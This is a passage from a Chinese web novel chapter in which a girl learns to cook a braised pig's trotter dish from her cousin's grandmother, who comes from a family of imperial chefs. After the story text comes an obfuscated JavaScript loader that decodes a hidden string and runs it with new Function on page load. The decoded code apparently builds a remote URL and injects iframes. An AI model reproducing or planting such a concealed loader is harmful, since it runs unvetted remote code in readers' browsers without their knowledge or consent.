“不用，不用，你可是客人，哪能让你来帮忙。”陈老太摆了摆手，拿过绳子上的毛巾擦了一下额头上的汗水。 “就是，表妹你跟我们去烤肉吃吧？”胡丽娟也过来拉铷初，她们在那边弄烧烤吃，这个可是舅舅专门给她们做的烤肉架子。 “姐，不用了，我在这边帮外婆做饭吧，我在家里经常干这样的活，没事的，你们去玩吧！”铷初挣脱开表姐的桎梏，径直坐在了灶台边的凳子上。 他们这边的土灶，比自己家里的设计要高级一些，在排烟口的位置，还弄了一个大烟囱，并且在灶台边上设置了一个二十公分的一个石墩，这样灶堂里面的煤灰就不会飘到锅里去了。 “没事，我外婆一个人能搞定。”胡丽娟可不依了，她们都在那边玩，怎么能让表妹在这里帮忙呢！ “姐，我想跟外婆学一学，等我回去了，我要做给我妈妈吃，让她就像是在江城一样。”铷初这个借口简直是完美无缺。 江城的家常菜，主要是酱香型，跟雾城的麻辣还是有很大的区别。 其实，好久她都想做一顿江城的家常菜给妈妈尝尝，让她可以近距离地吃到家乡的美味。 只可惜，自己以前都不会做饭，突然之间不仅会做饭了，还能做各个地方的美食，妈妈她们肯定会把她当怪物看待。 这也是她为什么要选择帮忙的原因，表姐这个外婆，那可是出了名的心灵手巧，只要是有人吃过她做的饭，那都是赞不绝口。 就连外婆那个会做饭的人，只要提起她，那都是满心满眼的羡慕。 “丫头就冲你这句话，我今就好好给你漏几手。”听到铷初的话，陈老太眼泪汪汪，这丫头还真的有孝心，想从她这里学做饭以后回去做给她妈妈吃。 只是苦了胡兰那丫头，嫁到千里之外，想吃一顿家乡的饭菜都是那么难。那丫头本来在家里可是被养得娇滴滴的，哪里会做饭。 “谢谢外婆！”朝着老太太甜甜一笑，眼睛也目不转睛地看着她的动作。 “外婆，你这红烧肉做的真香，看着就很有食欲。”看到起锅的红烧肉，铷初忍不住赞叹起来。 没有任何人不想自己的成果被人赞叹，所以，陈老太听到这一句话的时候，嘴就笑得合不拢了。 “那是当然，我曾外祖父可是御厨，别是这样的菜，就是满汉全席都能做出来。”听到表妹要留下来帮忙，胡丽娟也没跑开，就这么跟她站在一旁。 胡家可是有上百年的历史，家里的老一辈都是厨师，最开始的都是御厨，家里就算是炒个青菜，那都是很有讲究的。 在陈老太她们时候，为了手艺不失传，她曾祖父那都是亲自教导她们，一个个从就是洗菜切菜炒菜，还有雕花，做点心，只是曾祖父去世早，陈老太也就学到了炒菜这门手艺。 由于是女儿，家里的菜谱都归了大哥，她们想要学什么菜，那都是去大哥家里抄下来。 时间太久了，那个菜谱也泛黄了，很多东西都看不见了，再加上时代不一样，口味也开始变了，儿子他们开的饭店，也加入了现代的元素。只是她炒菜，还是按照记忆中的来。 “这么厉害！”虽然不是第一次听，但是铷初心里还是忍不住发出惊叹的声音。 御厨呀？ 听起来就是高大上的称号，也难怪，陈家会靠饭店起家，这看家本领还真不是盖的。 “那都是以前了，很多东西都已经消失了。”现在的生活越来越快，吃饭也没那么多讲究了。 记得时候，曾祖父就算是吃个早饭，那都是很有讲究的，什么饭前吃，什么饭后吃，什么菜搭配什么样的点心。只是后来，这些繁琐的东西都不复存在了，生活都过的艰苦了，哪里还有那么大的排场。 现在日子好了，她也没那么多讲究了——太麻烦了！ “我们国家的美食文化，确实博大精深。”记得后世最有名的就是那四大省会的菜，除去后，其他的好像都差不多。 “你不是要学嘛，外婆就教你做我们这里的酱香猪手，这个猪手是提前卤过的，在卤至少，要用柴火把表面的毛给熏干净，这样不仅没有那股臊味，还会有一股香味，烧干净以后，就要洗干净……”陈老太一边给铷初讲解工序，一边挥舞着手里的锅铲。 不愧是厨师世家出身的，就这个炒材动作，那都让人移不开眼，这种是铷初这个菜鸟比不上的。 一道酱香猪手出锅，直叫铷初流口水。 这一次她也弄懂了，为什么自己做的酱香猪手会成了酱骚猪手，一股子的骚味。 原来猪手在用之前还要用火把毛给烧干净，剁成块以后，要用白酒多洗几遍，确保没有那股骚味后，再倒进加了生姜大蒜八角的锅里煮，煮开后还要多沥几遍，并且在煮的过程要加入白酒，最后一遍的时候，要放入切好的生姜片大蒜片，还有八角、花椒、辣椒、陈皮、草果、桂皮、香叶一起煮，最后要记得加一点酱油在里面，这样就不会有骚味了，并且放入了酱油，颜色也会好看很多。还有就是要记得加入适量的食盐，这样猪手就进味了，回锅的时候，就不用加其他的东西。 等到七成熟的时候，就可以捞出来了，把水分沥干以后，就放入油锅里面炒。 当然，在炒之前，肯定是要加入生姜大蒜八角的，等这三种炒出香味以后，再放入猪手，然后加入兑了水的白酒。 如果颜色还是白白的，那就外加点酱油，再加一点点白糖和陈醋，这样就可以保证猪手没有骚味，接着盖上锅盖焖个五分钟左右，在起锅的时候加入冰糖，把汁收好就可以起锅了。 在焖猪手的同时，旁边的灶台就可以炒一些菜和弄点凉拌菜了。 陈老太这麻利的动作，让铷初都看傻了眼，这简直就是她们村里办酒席的节奏。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();